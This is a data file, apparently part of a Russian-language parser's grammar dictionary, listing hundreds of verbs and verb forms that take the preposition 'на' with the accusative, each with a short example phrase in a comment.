rus_verbs:разбивать{}, // разбивать на куски rus_verbs:пролиться{}, // пролиться на почву rus_verbs:сетовать{}, // сетовать на объективные трудности rus_verbs:подвезти{}, // подвезти на митинг rus_verbs:припереться{}, // припереться на праздник rus_verbs:подталкивать{}, // подталкивать на прыжок rus_verbs:прорываться{}, // прорываться на сцену rus_verbs:снижать{}, // снижать на несколько процентов rus_verbs:нацелить{}, // нацелить на танк rus_verbs:расколоть{}, // расколоть на два куска rus_verbs:увозить{}, // увозить на обкатку rus_verbs:оседать{}, // оседать на дно rus_verbs:съедать{}, // съедать на ужин rus_verbs:навлечь{}, // навлечь на себя rus_verbs:равняться{}, // равняться на лучших rus_verbs:сориентироваться{}, // сориентироваться на местности rus_verbs:снизить{}, // снизить на несколько процентов rus_verbs:перенестись{}, // перенестись на много лет назад rus_verbs:завезти{}, // завезти на склад rus_verbs:проложить{}, // проложить на гору rus_verbs:понадеяться{}, // понадеяться на удачу rus_verbs:заступить{}, // заступить на вахту rus_verbs:засеменить{}, // засеменить на выход rus_verbs:запирать{}, // запирать на ключ rus_verbs:скатываться{}, // скатываться на землю rus_verbs:дробить{}, // дробить на части rus_verbs:разваливаться{}, // разваливаться на кусочки rus_verbs:завозиться{}, // завозиться на склад rus_verbs:нанимать{}, // нанимать на дневную работу rus_verbs:поспеть{}, // поспеть на концерт rus_verbs:променять{}, // променять на сытость rus_verbs:переправить{}, // переправить на север rus_verbs:налетать{}, // налетать на силовое поле rus_verbs:затворить{}, // затворить на замок rus_verbs:подогнать{}, // подогнать на пристань rus_verbs:наехать{}, // наехать на камень rus_verbs:распевать{}, // распевать на разные голоса rus_verbs:разносить{}, // разносить на клочки rus_verbs:преувеличивать{}, // преувеличивать на много килограммов rus_verbs:хромать{}, // хромать на одну ногу rus_verbs:телеграфировать{}, // телеграфировать на базу rus_verbs:порезать{}, // порезать на лоскуты rus_verbs:порваться{}, // порваться на части rus_verbs:загонять{}, // загонять на дерево rus_verbs:отбывать{}, // отбывать на место службы rus_verbs:усаживаться{}, // усаживаться на трон rus_verbs:накопить{}, // накопить на квартиру rus_verbs:зыркнуть{}, // зыркнуть на визитера rus_verbs:копить{}, // копить на машину rus_verbs:помещать{}, // помещать на верхнюю грань rus_verbs:сползать{}, // сползать на снег rus_verbs:попроситься{}, // попроситься на улицу rus_verbs:перетащить{}, // перетащить на чердак rus_verbs:растащить{}, // растащить на сувениры rus_verbs:ниспадать{}, // ниспадать на землю rus_verbs:сфотографировать{}, // сфотографировать на память rus_verbs:нагонять{}, // нагонять на конкурентов страх rus_verbs:покушаться{}, // покушаться на понтифика rus_verbs:покуситься{}, rus_verbs:наняться{}, // наняться на службу rus_verbs:просачиваться{}, // просачиваться на поверхность rus_verbs:пускаться{}, // пускаться на ветер rus_verbs:отваживаться{}, // отваживаться на прыжок rus_verbs:досадовать{}, // досадовать на объективные трудности rus_verbs:унестись{}, // унестись на небо rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов rus_verbs:насадить{}, // насадить на копьё rus_verbs:нагрянуть{}, // нагрянуть на праздник rus_verbs:зашвырнуть{}, // зашвырнуть на полку rus_verbs:грешить{}, // грешить на постояльцев rus_verbs:просочиться{}, // просочиться на поверхность rus_verbs:надоумить{}, // надоумить на глупость rus_verbs:намотать{}, // намотать на шпиндель rus_verbs:замкнуть{}, // замкнуть на корпус rus_verbs:цыкнуть{}, // цыкнуть на детей rus_verbs:переворачиваться{}, // переворачиваться на спину rus_verbs:соваться{}, // соваться на площать rus_verbs:отлучиться{}, // отлучиться на обед rus_verbs:пенять{}, // пенять на себя rus_verbs:нарезать{}, // нарезать на ломтики rus_verbs:поставлять{}, // поставлять на Кипр rus_verbs:залезать{}, // залезать на балкон rus_verbs:отлучаться{}, // отлучаться на обед rus_verbs:сбиваться{}, // сбиваться на шаг rus_verbs:таращить{}, // таращить глаза на вошедшего rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню rus_verbs:опережать{}, // опережать на пару сантиметров rus_verbs:переставить{}, // переставить на стол rus_verbs:раздирать{}, // раздирать на части rus_verbs:затвориться{}, // затвориться на засовы rus_verbs:материться{}, // материться на кого-то rus_verbs:наскочить{}, // наскочить на риф rus_verbs:набираться{}, // набираться на борт rus_verbs:покрикивать{}, // покрикивать на помощников rus_verbs:заменяться{}, // заменяться на более новый rus_verbs:подсадить{}, // подсадить на верхнюю полку rus_verbs:проковылять{}, // проковылять на кухню rus_verbs:прикатить{}, // прикатить на старт rus_verbs:залететь{}, // залететь на чужую территорию rus_verbs:загрузить{}, // загрузить на конвейер rus_verbs:уплывать{}, // уплывать на материк rus_verbs:опозорить{}, // опозорить на всю деревню rus_verbs:провоцировать{}, // провоцировать на ответную агрессию rus_verbs:забивать{}, // забивать на учебу rus_verbs:набегать{}, // набегать на прибрежные деревни rus_verbs:запираться{}, // запираться на ключ rus_verbs:фотографировать{}, // фотографировать на мыльницу rus_verbs:подымать{}, // подымать на недосягаемую высоту rus_verbs:съезжаться{}, // съезжаться на симпозиум rus_verbs:отвлекаться{}, // отвлекаться на игру rus_verbs:проливать{}, // проливать на брюки rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца rus_verbs:уползти{}, // уползти на вершину холма rus_verbs:переместить{}, // переместить на вторую палубу rus_verbs:превысить{}, // превысить на несколько метров rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку rus_verbs:спровоцировать{}, // спровоцировать на бросок rus_verbs:сместиться{}, // сместиться на соседнюю клетку rus_verbs:заготовить{}, // заготовить на зиму rus_verbs:плеваться{}, // плеваться на пол rus_verbs:переселить{}, // переселить на север rus_verbs:напирать{}, // напирать на дверь rus_verbs:переезжать{}, // переезжать на другой этаж rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров rus_verbs:трогаться{}, // трогаться на красный свет rus_verbs:надвинуться{}, // надвинуться на глаза rus_verbs:засмотреться{}, // засмотреться на купальники rus_verbs:убыть{}, // убыть на фронт rus_verbs:передвигать{}, // передвигать на второй уровень rus_verbs:отвозить{}, // отвозить на свалку rus_verbs:обрекать{}, // обрекать на гибель rus_verbs:записываться{}, // записываться на танцы rus_verbs:настраивать{}, // настраивать на другой диапазон rus_verbs:переписывать{}, // переписывать на диск rus_verbs:израсходовать{}, // израсходовать на гонки rus_verbs:обменять{}, // обменять на перспективного игрока rus_verbs:трубить{}, // трубить на всю округу rus_verbs:набрасываться{}, // набрасываться на жертву rus_verbs:чихать{}, // чихать на правила rus_verbs:наваливаться{}, // наваливаться на рычаг rus_verbs:сподобиться{}, // сподобиться на повторный анализ rus_verbs:намазать{}, // намазать на хлеб rus_verbs:прореагировать{}, // прореагировать на вызов rus_verbs:зачислить{}, // зачислить на факультет rus_verbs:наведаться{}, // наведаться на склад rus_verbs:откидываться{}, // откидываться на спинку кресла rus_verbs:захромать{}, // захромать на левую ногу rus_verbs:перекочевать{}, // перекочевать на другой берег rus_verbs:накатываться{}, // накатываться на песчаный берег rus_verbs:приостановить{}, // приостановить на некоторое время rus_verbs:запрятать{}, // запрятать на верхнюю полочку rus_verbs:прихрамывать{}, // прихрамывать на правую ногу rus_verbs:упорхнуть{}, // упорхнуть на свободу rus_verbs:расстегивать{}, // расстегивать на пальто rus_verbs:напуститься{}, // напуститься на бродягу rus_verbs:накатывать{}, // накатывать на оригинал rus_verbs:наезжать{}, // наезжать на простофилю rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека rus_verbs:отрядить{}, // отрядить на починку rus_verbs:положиться{}, // положиться на главаря rus_verbs:опрокидывать{}, // опрокидывать на голову rus_verbs:поторапливаться{}, // поторапливаться на рейс rus_verbs:налагать{}, // налагать на заемщика rus_verbs:скопировать{}, // скопировать на диск rus_verbs:опадать{}, // опадать на землю rus_verbs:купиться{}, // купиться на посулы rus_verbs:гневаться{}, // гневаться на слуг rus_verbs:слететься{}, // слететься на раздачу rus_verbs:убавить{}, // убавить на два уровня rus_verbs:спихнуть{}, // спихнуть на соседа rus_verbs:накричать{}, // накричать на ребенка rus_verbs:приберечь{}, // приберечь на ужин rus_verbs:приклеить{}, // приклеить на ветровое стекло rus_verbs:ополчиться{}, // ополчиться на посредников rus_verbs:тратиться{}, // тратиться на сувениры rus_verbs:слетаться{}, // слетаться на свет rus_verbs:доставляться{}, // доставляться на базу rus_verbs:поплевать{}, // поплевать на руки rus_verbs:огрызаться{}, // огрызаться на замечание rus_verbs:попереться{}, // попереться на рынок rus_verbs:растягиваться{}, // растягиваться на полу rus_verbs:повергать{}, // повергать на землю rus_verbs:ловиться{}, // ловиться на мотыля rus_verbs:наседать{}, // наседать на обороняющихся rus_verbs:развалить{}, // развалить на кирпичи rus_verbs:разломить{}, // разломить на несколько частей rus_verbs:примерить{}, // примерить на себя rus_verbs:лепиться{}, // лепиться на стену rus_verbs:скопить{}, // скопить на старость rus_verbs:затратить{}, // затратить на ликвидацию последствий rus_verbs:притащиться{}, // притащиться на гулянку rus_verbs:осерчать{}, // осерчать на прислугу rus_verbs:натравить{}, // натравить на медведя rus_verbs:ссыпать{}, // ссыпать на землю rus_verbs:подвозить{}, // подвозить на пристань rus_verbs:мобилизовать{}, // мобилизовать на сборы rus_verbs:смотаться{}, // смотаться на работу rus_verbs:заглядеться{}, // заглядеться на девчонок rus_verbs:таскаться{}, // таскаться на работу rus_verbs:разгружать{}, // разгружать на транспортер rus_verbs:потреблять{}, // потреблять на кондиционирование инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу деепричастие:сгоняв{}, rus_verbs:посылаться{}, // посылаться на разведку rus_verbs:окрыситься{}, // окрыситься на кого-то rus_verbs:отлить{}, // отлить на сковороду rus_verbs:шикнуть{}, // шикнуть на детишек rus_verbs:уповать{}, // уповать на бескорысную помощь rus_verbs:класться{}, // класться на стол rus_verbs:поковылять{}, // поковылять на выход rus_verbs:навевать{}, // навевать на собравшихся скуку rus_verbs:накладываться{}, // накладываться на грунтовку rus_verbs:наноситься{}, // наноситься на чистую кожу // rus_verbs:запланировать{}, // запланировать на среду rus_verbs:кувыркнуться{}, // кувыркнуться на землю rus_verbs:гавкнуть{}, // гавкнуть на хозяина rus_verbs:перестроиться{}, // перестроиться на новый лад rus_verbs:расходоваться{}, // расходоваться на образование rus_verbs:дуться{}, // дуться на бабушку rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол rus_verbs:издаться{}, // издаться на деньги спонсоров rus_verbs:смещаться{}, // смещаться на несколько миллиметров rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу rus_verbs:пикировать{}, // пикировать на окопы rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей rus_verbs:зудить{}, // зудить на ухо rus_verbs:подразделяться{}, // подразделяться на группы rus_verbs:изливаться{}, // изливаться на землю rus_verbs:помочиться{}, // помочиться на траву rus_verbs:примерять{}, // примерять на себя rus_verbs:разрядиться{}, // разрядиться на землю rus_verbs:мотнуться{}, // мотнуться на крышу rus_verbs:налегать{}, // налегать на весла rus_verbs:зацокать{}, // зацокать на куриц rus_verbs:наниматься{}, // наниматься на корабль rus_verbs:сплевывать{}, // сплевывать на землю rus_verbs:настучать{}, // настучать на саботажника rus_verbs:приземляться{}, // приземляться на брюхо rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу rus_verbs:серчать{}, // серчать на нерасторопную помощницу rus_verbs:сваливать{}, // сваливать на подоконник rus_verbs:засобираться{}, // засобираться на работу rus_verbs:распилить{}, // распилить на одинаковые бруски //rus_verbs:умножать{}, // умножать на константу rus_verbs:копировать{}, // копировать на диск rus_verbs:накрутить{}, // накрутить на руку rus_verbs:навалить{}, // навалить на телегу rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль rus_verbs:шлепаться{}, // шлепаться на бетон rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение rus_verbs:посягнуть{}, // посягнуть на святое rus_verbs:разменять{}, // разменять на мелочь rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции rus_verbs:усаживать{}, // усаживать на скамейку rus_verbs:натаскать{}, // натаскать на поиск наркотиков rus_verbs:зашикать{}, // зашикать на кошку rus_verbs:разломать{}, // разломать на равные части rus_verbs:приглашаться{}, // приглашаться на сцену rus_verbs:присягать{}, // присягать на верность rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку rus_verbs:расщедриться{}, // расщедриться на новый компьютер rus_verbs:насесть{}, // насесть на двоечников rus_verbs:созывать{}, // созывать на собрание rus_verbs:позариться{}, // позариться на чужое добро rus_verbs:перекидываться{}, // перекидываться на соседние здания rus_verbs:наползать{}, // наползать на неповрежденную ткань rus_verbs:изрубить{}, // изрубить на мелкие кусочки rus_verbs:наворачиваться{}, // наворачиваться на глаза rus_verbs:раскричаться{}, // раскричаться на всю округу rus_verbs:переползти{}, // переползти на светлую сторону rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию rus_verbs:мочиться{}, // мочиться на трупы убитых врагов rus_verbs:радировать{}, // радировать на базу rus_verbs:промотать{}, // промотать на начало rus_verbs:заснять{}, // заснять на видео rus_verbs:подбивать{}, // подбивать на матч-реванш rus_verbs:наплевать{}, // наплевать на справедливость rus_verbs:подвывать{}, // подвывать на луну rus_verbs:расплескать{}, // расплескать на пол rus_verbs:польститься{}, // польститься на бесплатный сыр rus_verbs:помчать{}, // помчать на работу rus_verbs:съезжать{}, // съезжать на обочину rus_verbs:нашептать{}, // нашептать кому-то на ухо rus_verbs:наклеить{}, // наклеить на доску объявлений rus_verbs:завозить{}, // завозить на склад rus_verbs:заявляться{}, // заявляться на любимую работу rus_verbs:наглядеться{}, // наглядеться на воробьев rus_verbs:хлопнуться{}, // хлопнуться на живот rus_verbs:забредать{}, // забредать на поляну rus_verbs:посягать{}, // посягать на исконные права собственности rus_verbs:сдвигать{}, // сдвигать на одну позицию rus_verbs:спрыгивать{}, // спрыгивать на землю rus_verbs:сдвигаться{}, // сдвигаться на две позиции rus_verbs:разделать{}, // разделать на орехи rus_verbs:разлагать{}, // разлагать на элементарные элементы rus_verbs:обрушивать{}, // обрушивать на головы врагов rus_verbs:натечь{}, // натечь на пол rus_verbs:политься{}, // вода польется на землю rus_verbs:успеть{}, // Они успеют на поезд. инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш }, деепричастие:мигрируя{}, инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш }, деепричастие:мигрировав{}, rus_verbs:двинуться{}, // Мы скоро двинемся на дачу. rus_verbs:подойти{}, // Он не подойдёт на должность секретаря. rus_verbs:потянуть{}, // Он не потянет на директора. rus_verbs:тянуть{}, // Он не тянет на директора. rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:жаловаться{}, // Он жалуется на нездоровье. rus_verbs:издать{}, // издать на деньги спонсоров rus_verbs:показаться{}, // показаться на глаза rus_verbs:высаживать{}, // высаживать на необитаемый остров rus_verbs:вознестись{}, // вознестись на самую вершину славы rus_verbs:залить{}, // залить на youtube rus_verbs:закачать{}, // закачать на youtube rus_verbs:сыграть{}, // сыграть на деньги rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных глагол:экстраполироваться{ вид:несоверш}, инфинитив:экстраполироваться{ вид:соверш}, глагол:экстраполироваться{ вид:соверш}, деепричастие:экстраполируясь{}, инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы глагол:акцентировать{вид:соверш}, инфинитив:акцентировать{вид:несоверш}, глагол:акцентировать{вид:несоверш}, прилагательное:акцентировавший{вид:несоверш}, //прилагательное:акцентировавший{вид:соверш}, прилагательное:акцентирующий{}, деепричастие:акцентировав{}, деепричастие:акцентируя{}, rus_verbs:бабахаться{}, // он бабахался на пол rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина rus_verbs:бахаться{}, // Наездники бахались на землю rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю rus_verbs:благословить{}, // батюшка благословил отрока на подвиг rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг rus_verbs:блевануть{}, // Он блеванул на землю rus_verbs:блевать{}, // Он блюет на землю rus_verbs:бухнуться{}, // Наездник бухнулся на землю rus_verbs:валить{}, // Ветер валил деревья на землю rus_verbs:спилить{}, // Спиленное дерево валится на землю rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес rus_verbs:вестись{}, // Не ведись на эти уловки! rus_verbs:вешать{}, // Гости вешают одежду на вешалку rus_verbs:вешаться{}, // Одежда вешается на вешалки rus_verbs:вещать{}, // радиостанция вещает на всю страну rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм rus_verbs:взбредать{}, // Что иногда взбредает на ум rus_verbs:взбрести{}, // Что-то взбрело на ум rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи rus_verbs:взглянуть{}, // Кошка взглянула на мышку rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух rus_verbs:взобраться{}, // Туристы взобрались на гору rus_verbs:взойти{}, // Туристы взошли на гору rus_verbs:взъесться{}, // Отец взъелся на непутевого сына rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка rus_verbs:водворить{}, // водворить нарушителя на место rus_verbs:водвориться{}, // водвориться на свое место rus_verbs:водворять{}, // водворять вещь на свое место rus_verbs:водворяться{}, // водворяться на свое место rus_verbs:водружать{}, // водружать флаг на флагшток rus_verbs:водружаться{}, // Флаг водружается на флагшток rus_verbs:водрузить{}, // водрузить флаг на флагшток rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы rus_verbs:воздействовать{}, // Излучение воздействует на кожу rus_verbs:воззреть{}, // воззреть на поле боя rus_verbs:воззриться{}, // воззриться на поле боя rus_verbs:возить{}, // возить туристов на гору rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу rus_verbs:возлагаться{}, // Ответственность возлагается на начальство rus_verbs:возлечь{}, // возлечь на лежанку rus_verbs:возложить{}, // возложить цветы на могилу поэта rus_verbs:вознести{}, // вознести кого-то на вершину славы rus_verbs:возноситься{}, // возносится на вершину успеха rus_verbs:возносить{}, // возносить счастливчика на вершину успеха rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж rus_verbs:подняться{}, // Мы поднялись на восьмой этаж rus_verbs:вонять{}, // Кусок сыра воняет на всю округу rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги rus_verbs:ворчать{}, // Старый пес ворчит на прохожих rus_verbs:воспринимать{}, // воспринимать сообщение на слух rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух rus_verbs:воспринять{}, // воспринять сообщение на слух rus_verbs:восприняться{}, // восприняться на слух rus_verbs:воссесть{}, // Коля воссел на трон rus_verbs:вправить{}, // вправить мозг на место rus_verbs:вправлять{}, // вправлять мозги на место rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:врубать{}, // врубать на полную мощность rus_verbs:врубить{}, // врубить на полную мощность rus_verbs:врубиться{}, // врубиться на полную мощность rus_verbs:врываться{}, // врываться на собрание rus_verbs:вскарабкаться{}, // вскарабкаться на утёс rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс rus_verbs:вскочить{}, // вскочить на ноги rus_verbs:всплывать{}, // всплывать на поверхность воды rus_verbs:всплыть{}, // всплыть на поверхность воды rus_verbs:вспрыгивать{}, // вспрыгивать на платформу rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу rus_verbs:встать{}, // встать на защиту чести и достоинства rus_verbs:вторгаться{}, // вторгаться на чужую территорию rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию rus_verbs:въезжать{}, // въезжать на пандус rus_verbs:наябедничать{}, // наябедничать на соседа по парте rus_verbs:выблевать{}, // выблевать завтрак на пол rus_verbs:выблеваться{}, // выблеваться на пол rus_verbs:выблевывать{}, // выблевывать завтрак на пол rus_verbs:выблевываться{}, // выблевываться на пол rus_verbs:вывезти{}, // вывезти мусор на свалку rus_verbs:вывесить{}, // вывесить белье на просушку rus_verbs:вывести{}, // вывести собаку на прогулку rus_verbs:вывешивать{}, // вывешивать белье на веревку rus_verbs:вывозить{}, // вывозить детей на природу rus_verbs:вызывать{}, // Начальник вызывает на ковер rus_verbs:выйти{}, // выйти на свободу rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение rus_verbs:выливать{}, // выливать на землю rus_verbs:выливаться{}, // выливаться на землю rus_verbs:вылить{}, // вылить жидкость на землю rus_verbs:вылиться{}, // Топливо вылилось на землю rus_verbs:выложить{}, // выложить на берег rus_verbs:выменивать{}, // выменивать золото на хлеб rus_verbs:вымениваться{}, // Золото выменивается на хлеб rus_verbs:выменять{}, // выменять золото на хлеб rus_verbs:выпадать{}, // снег выпадает на землю rus_verbs:выплевывать{}, // выплевывать на землю rus_verbs:выплевываться{}, // выплевываться на землю rus_verbs:выплескать{}, // выплескать на землю rus_verbs:выплескаться{}, // выплескаться на землю rus_verbs:выплескивать{}, // выплескивать на землю rus_verbs:выплескиваться{}, // выплескиваться на землю rus_verbs:выплывать{}, // выплывать на поверхность rus_verbs:выплыть{}, // выплыть на поверхность rus_verbs:выплюнуть{}, // выплюнуть на пол rus_verbs:выползать{}, // выползать на свежий воздух rus_verbs:выпроситься{}, // выпроситься на улицу rus_verbs:выпрыгивать{}, // выпрыгивать на свободу rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон rus_verbs:выпускать{}, // выпускать на свободу rus_verbs:выпустить{}, // выпустить на свободу rus_verbs:выпучивать{}, // выпучивать на кого-то глаза rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то rus_verbs:выпучить{}, // выпучить глаза на кого-то rus_verbs:выпучиться{}, // выпучиться на кого-то rus_verbs:выронить{}, // выронить на землю rus_verbs:высадить{}, // высадить на берег rus_verbs:высадиться{}, // высадиться на берег rus_verbs:высаживаться{}, // высаживаться на остров rus_verbs:выскальзывать{}, // выскальзывать на землю rus_verbs:выскочить{}, // выскочить на сцену rus_verbs:высморкаться{}, // высморкаться на землю rus_verbs:высморкнуться{}, // высморкнуться на землю rus_verbs:выставить{}, // выставить на всеобщее обозрение rus_verbs:выставиться{}, // выставиться на всеобщее обозрение rus_verbs:выставлять{}, // выставлять на всеобщее обозрение rus_verbs:выставляться{}, // выставляться на всеобщее обозрение инфинитив:высыпать{вид:соверш}, // высыпать на землю инфинитив:высыпать{вид:несоверш}, глагол:высыпать{вид:соверш}, глагол:высыпать{вид:несоверш}, деепричастие:высыпав{}, деепричастие:высыпая{}, прилагательное:высыпавший{вид:соверш}, //++прилагательное:высыпавший{вид:несоверш}, прилагательное:высыпающий{вид:несоверш}, rus_verbs:высыпаться{}, // высыпаться на землю rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя rus_verbs:вытаращиваться{}, // вытаращиваться на медведя rus_verbs:вытаращить{}, // вытаращить глаза на медведя rus_verbs:вытаращиться{}, // вытаращиться на медведя rus_verbs:вытекать{}, // вытекать на землю rus_verbs:вытечь{}, // вытечь на землю rus_verbs:выучиваться{}, // выучиваться на кого-то rus_verbs:выучиться{}, // выучиться на кого-то rus_verbs:посмотреть{}, // посмотреть на экран rus_verbs:нашить{}, // нашить что-то на одежду rus_verbs:придти{}, // придти на помощь кому-то инфинитив:прийти{}, // прийти на помощь кому-то глагол:прийти{}, деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты. rus_verbs:поднять{}, // поднять на вершину rus_verbs:согласиться{}, // согласиться на ничью rus_verbs:послать{}, // послать на фронт rus_verbs:слать{}, // слать на фронт rus_verbs:надеяться{}, // надеяться на лучшее rus_verbs:крикнуть{}, // крикнуть на шалунов rus_verbs:пройти{}, // пройти на пляж rus_verbs:прислать{}, // прислать на экспертизу rus_verbs:жить{}, // жить на подачки rus_verbs:становиться{}, // становиться на ноги rus_verbs:наслать{}, // наслать на кого-то rus_verbs:принять{}, // принять на заметку rus_verbs:собираться{}, // собираться на экзамен rus_verbs:оставить{}, // оставить на всякий случай rus_verbs:звать{}, // звать на помощь rus_verbs:направиться{}, // направиться на прогулку rus_verbs:отвечать{}, // отвечать на звонки rus_verbs:отправиться{}, // отправиться на прогулку rus_verbs:поставить{}, // поставить на пол rus_verbs:обернуться{}, // обернуться на зов rus_verbs:отозваться{}, // отозваться на просьбу rus_verbs:закричать{}, // закричать на собаку rus_verbs:опустить{}, // опустить на землю rus_verbs:принести{}, // принести на пляж свой жезлонг rus_verbs:указать{}, // указать на дверь rus_verbs:ходить{}, // ходить на занятия rus_verbs:уставиться{}, // уставиться на листок rus_verbs:приходить{}, // приходить на экзамен rus_verbs:махнуть{}, // махнуть на пляж rus_verbs:явиться{}, // явиться на допрос rus_verbs:оглянуться{}, // оглянуться на дорогу rus_verbs:уехать{}, // уехать на заработки rus_verbs:повести{}, // повести на штурм rus_verbs:опуститься{}, // опуститься на колени //rus_verbs:передать{}, // передать на проверку rus_verbs:побежать{}, // побежать на занятия rus_verbs:прибыть{}, // прибыть на место службы rus_verbs:кричать{}, // кричать на медведя rus_verbs:стечь{}, // стечь на землю rus_verbs:обратить{}, // обратить на себя внимание rus_verbs:подать{}, // подать на пропитание rus_verbs:привести{}, // привести на съемки rus_verbs:испытывать{}, // испытывать на животных rus_verbs:перевести{}, // перевести на жену rus_verbs:купить{}, // купить на заемные деньги rus_verbs:собраться{}, // собраться на встречу rus_verbs:заглянуть{}, // заглянуть на огонёк rus_verbs:нажать{}, // нажать на рычаг rus_verbs:поспешить{}, // поспешить на праздник rus_verbs:перейти{}, // перейти на русский язык rus_verbs:поверить{}, // поверить на честное слово rus_verbs:глянуть{}, // глянуть на обложку rus_verbs:зайти{}, // зайти на огонёк rus_verbs:проходить{}, // проходить на сцену rus_verbs:глядеть{}, // глядеть на актрису //rus_verbs:решиться{}, // решиться на прыжок rus_verbs:пригласить{}, // пригласить на танец rus_verbs:позвать{}, // позвать на экзамен rus_verbs:усесться{}, // усесться на стул rus_verbs:поступить{}, // поступить на математический факультет rus_verbs:лечь{}, // лечь на живот rus_verbs:потянуться{}, // потянуться на юг rus_verbs:присесть{}, // присесть на корточки rus_verbs:наступить{}, // наступить на змею rus_verbs:заорать{}, // заорать на попрошаек rus_verbs:надеть{}, // надеть на голову rus_verbs:поглядеть{}, // поглядеть на девчонок rus_verbs:принимать{}, // принимать на гарантийное обслуживание rus_verbs:привезти{}, // привезти на испытания rus_verbs:рухнуть{}, // рухнуть на асфальт rus_verbs:пускать{}, // пускать на корм rus_verbs:отвести{}, // отвести на приём rus_verbs:отправить{}, // отправить на утилизацию rus_verbs:двигаться{}, // двигаться на восток rus_verbs:нести{}, // нести на пляж rus_verbs:падать{}, // падать на руки rus_verbs:откинуться{}, // откинуться на спинку кресла rus_verbs:рявкнуть{}, // рявкнуть на детей rus_verbs:получать{}, // получать на проживание rus_verbs:полезть{}, // полезть на рожон rus_verbs:направить{}, // направить на дообследование rus_verbs:приводить{}, // приводить на проверку rus_verbs:потребоваться{}, // потребоваться на замену rus_verbs:кинуться{}, // кинуться на нападавшего rus_verbs:учиться{}, // учиться на токаря rus_verbs:приподнять{}, // приподнять на один метр rus_verbs:налить{}, // налить на стол rus_verbs:играть{}, // играть на деньги rus_verbs:рассчитывать{}, // рассчитывать на подмогу rus_verbs:шепнуть{}, // шепнуть на ухо rus_verbs:швырнуть{}, // швырнуть на землю rus_verbs:прыгнуть{}, // прыгнуть на оленя rus_verbs:предлагать{}, // предлагать на выбор rus_verbs:садиться{}, // садиться на стул rus_verbs:лить{}, // лить на землю rus_verbs:испытать{}, // испытать на животных rus_verbs:фыркнуть{}, // фыркнуть на детеныша rus_verbs:годиться{}, // мясо годится на фарш rus_verbs:проверить{}, // проверить высказывание на истинность rus_verbs:откликнуться{}, // откликнуться на призывы rus_verbs:полагаться{}, // полагаться на интуицию rus_verbs:покоситься{}, // покоситься на соседа rus_verbs:повесить{}, // повесить на гвоздь инфинитив:походить{вид:соверш}, // походить на занятия глагол:походить{вид:соверш}, деепричастие:походив{}, прилагательное:походивший{}, rus_verbs:помчаться{}, // помчаться на экзамен rus_verbs:ставить{}, // ставить на контроль rus_verbs:свалиться{}, // свалиться на землю rus_verbs:валиться{}, // валиться на землю rus_verbs:подарить{}, // подарить на день рожденья rus_verbs:сбежать{}, // сбежать на необитаемый остров rus_verbs:стрелять{}, // стрелять на поражение rus_verbs:обращать{}, // обращать на себя внимание rus_verbs:наступать{}, // наступать на те же грабли rus_verbs:сбросить{}, // сбросить на землю rus_verbs:обидеться{}, // обидеться на друга 